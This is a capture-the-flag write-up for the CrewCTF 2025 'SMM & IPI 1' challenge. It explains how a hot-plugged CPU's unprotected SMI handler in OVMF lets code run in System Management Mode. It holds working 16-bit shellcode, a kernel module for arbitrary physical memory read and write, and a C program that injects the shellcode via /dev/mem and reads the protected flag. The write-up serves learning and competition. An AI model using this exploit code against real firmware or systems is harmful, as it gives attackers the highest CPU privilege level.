vmpr0be

cybersecurity enthusiast


CrewCTF 2025 - SMM & IPI 1

Published September 21, 2025

CrewCTF 2025 - SMM & IPI 1

Vocabulary

  • SMM: System Management Mode, a highly privileged CPU mode.
  • SMRAM: A special region of memory that is only accessible from SMM.
  • SMI: An interrupt that halts current execution and switches the CPU to SMM.
  • SMBASE: The base of the memory region used for SMM components (e.g., the SMI handler and saved execution state). The default SMBASE is 0x30000.

Overview

“You know what else OVMF does with SMM? CPU hotplugging. So I took a look. Flag is at physical memory 0x44440000 when read from SMM.”

This means we need to read the flag while the CPU is in SMM.

Hint

“I disabled something I should not have disabled. This link might help you understand what is going on: https://lore.kernel.org/all/8091f6e8-b1ec-f017-1430-00b0255729f4@redhat.com/T/"

The author also stated that interrupt logs can be extracted with a special flag: -D interrupts.log -d int. After hot-plugging the CPU with ./addcpu.sh, we can see three SMIs triggered, meaning the newly plugged CPU is actually executing.

Vulnerability

To summarize, the bug lies in the fact that when the CPU is hot-plugged, the SMBASE isn’t in SMRAM, which means the SMI handler isn’t protected.

By contrast, on a non-hot-plugged CPU, SMBASE is usually relocated into SMRAM.

Exploitation

Since the SMI handler isn’t protected, when the hot-plugged CPU is added it will start its execution at the unprotected SMI handler at SMBASE + 0x8000 (in this case: 0x38000). We can patch that handler with our own code to read the flag from 0x44440000.

When the interrupted CPU core switches to SMM, it expects the SMI handler to contain 16-bit instructions, so our injected shellcode must be 16-bit.

We need a physical region accessible outside SMM where we can store the flag read by our shellcode.

crewctf-2025:/root# cat /proc/iomem
...
00001000-0009ffff : System RAM
...

We’ll use 0x00001000 as storage.

Shellcode

The shellcode basically does the following:

  • Read the flag from 0x44440000.
  • Write the flag to our storage 0x1000.
mov esi, 0x44440000   ; the flag address
mov edi, 0x1000       ; memory accessible by us
mov ecx, 64           ; bytes to be copied

copy_loop:
mov al, [esi]         ; read byte of the flag
mov [edi], al         ; store it in our storage
inc esi               ; next flag byte
inc edi               ; next storage byte
dec ecx               ; decrease counter
jnz copy_loop         ; loop again

Injection

We build a kernel driver to read and write physical memory for us; this is mostly a convenience helper.

pmem.c:

#include <linux/module.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/io.h>
#include <linux/miscdevice.h>

#define DEVICE_NAME "pmem"

static long pmem_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
    void __user *user_arg = (void __user *)arg;
    
    switch (cmd) {
        case 0: { // Read physical memory
            struct {
                unsigned long addr;
                unsigned long size;
                void __user *buffer;
            } params;
            
            if (copy_from_user(&params, user_arg, sizeof(params)))
                return -EFAULT;
                
            void *vaddr = ioremap(params.addr, params.size);
            if (!vaddr) return -ENOMEM;
            
            if (copy_to_user(params.buffer, vaddr, params.size)) {
                iounmap(vaddr);
                return -EFAULT;
            }
            
            iounmap(vaddr);
            break;
        }
        case 1: { // Write physical memory
            struct {
                unsigned long addr;
                unsigned long size;
                void __user *buffer;
            } params;
            
            if (copy_from_user(&params, user_arg, sizeof(params)))
                return -EFAULT;
                
            void *vaddr = ioremap(params.addr, params.size);
            if (!vaddr) return -ENOMEM;
            
            if (copy_from_user(vaddr, params.buffer, params.size)) {
                iounmap(vaddr);
                return -EFAULT;
            }
            
            iounmap(vaddr);
            break;
        }
        default:
            return -EINVAL;
    }
    
    return 0;
}

static struct file_operations fops = {
    .unlocked_ioctl = pmem_ioctl,
};

static struct miscdevice pmem_miscdevice = {
    .minor = MISC_DYNAMIC_MINOR,
    .name = DEVICE_NAME,
    .fops = &fops,
};

static int __init pmem_init(void)
{
    return misc_register(&pmem_miscdevice);
}

static void __exit pmem_exit(void)
{
    misc_deregister(&pmem_miscdevice);
}

module_init(pmem_init);
module_exit(pmem_exit);

MODULE_LICENSE("GPL");

Makefile:

obj-m += pmem.o

all:
	$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

We compile and launch the kernel driver on the target system.

make
insmod pmem.ko

reveal.c:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <string.h>

int main() {
    int fd;
    void *map;
    
    fd = open("/dev/mem", O_RDWR);
    if (fd < 0) {
        perror("open /dev/mem");
        return 1;
    }

    map = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x38000);
    if (map == MAP_FAILED) {
        perror("mmap");
        close(fd);
        return 1;
    }

    unsigned char shellcode[] = {
        0x66, 0xBE, 0x00, 0x00, 0x44, 0x44,
        0x66, 0xBF, 0x00, 0x10, 0x00, 0x00,
        0x66, 0xB9, 0x40, 0x00, 0x00, 0x00,
        0x67, 0x8A, 0x06,
        0x67, 0x88, 0x07,
        0x66, 0x46,
        0x66, 0x47,
        0x66, 0x49,
        0x75, 0xF2
    };

    memcpy(map, shellcode, sizeof(shellcode));
    printf("Shellcode written to 0x38000\n");

    munmap(map, 0x1000);
    close(fd);

    system("./addcpu.sh");

    fd = open("/dev/mem", O_RDONLY);
    if (fd < 0) {
        perror("open /dev/mem for read");
        return 1;
    }

    map = mmap(NULL, 64, PROT_READ, MAP_SHARED, fd, 0x1000);
    if (map == MAP_FAILED) {
        perror("mmap");
        close(fd);
        return 1;
    }

    printf("Flag: %s\n", (char*)map);

    munmap(map, 64);
    close(fd);

    return 0;
}

Similarly, we compile and run this program, which will:

  • Inject shellcode at 0x38000.
  • Run the ./addcpu.sh script.
  • Read the flag from 0x1000.
gcc reveal.c -o reveal
./reveal
Shellcode written to 0x38000
...
Flag: crew{but_why_isnt_addcpu_working_*REMOVED*}

Credits

  • Claude for writing the kernel driver and the reveal program.